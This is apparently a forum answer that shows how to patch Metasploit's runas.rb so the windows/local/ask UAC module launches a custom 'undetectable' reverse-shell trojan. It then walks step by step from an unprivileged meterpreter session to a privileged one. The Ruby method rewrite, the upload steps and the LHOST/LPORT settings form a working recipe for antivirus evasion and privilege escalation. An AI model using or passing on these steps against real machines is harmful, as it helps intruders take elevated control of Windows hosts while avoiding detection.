5 of 6
Updated markdown
Michael
  • 5.3k
  • 2
  • 30
  • 56

Ran into the same issue when reproducing.

UPDATE:

When using the windows/local/ask exploit, it seems you do not need to set a payload with it. In the windows/local/ask exploit you can set a reference to the undetectabletrojan.exe, which will then be executed with elevated privileges through UAC. However, as pointed out by @SilverlightFox, the ask exploit always uses a self-generated payload which is easily detected by AV. To counter this, some changes in the /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb are required.

#Code changes

  • Open /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb

  • Edit the def shell_execute_exe method so that it looks as follows (pastebin): def shell_execute_exe(filename = nil, path = nil) exe_payload = generate_payload_exe payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe' payload_path = path || get_env('TEMP') cmd_location = "#{payload_path}\#{payload_filename}" if filename == nil print_status("Uploading payload to the filesystem...") write_file(cmd_location, exe_payload) else print_status("Using #{payload_filename}...") end command, args = cmd_location, nil shell_exec(command, args) end

  • Reload msf

#Use the exploit The exact steps are:

  • Generate an undetectable reverse shell exe (let's call it undetectabletrojan.exe)
  • Get a meterpreter session with no privileges
  • Upload undectabletrojan.exe via the non-privileged session (e.g. to c:\tmp)
  • Background this unprivileged session and set up a new exploit (windows/local/ask)
  • Set the following options of the windows/local/ask exploit:
    • set filename undectabletrojan.exe
    • set path c:\tmp
  • Even though you did not set a payload, you SHOULD set the LPORT and LHOST options, apparently the ask exploit always uses a windows reverse_tcp payload..
  • exploit
  • You will have a second session, privileged.

The fix is to modify /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb .

  • At line 23 it mentions print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")

  • Modify this to: print_status("Uploading #{payload_filename}...")

  • Save

  • Exit msfconsole

  • Make sure to run 'reload-all' after restarting msfconsole

Then it worked for me, although I had to restart msfconsole a couple of times before the change came through. Let me know what it says.

Michael
  • 5.3k
  • 2
  • 30
  • 56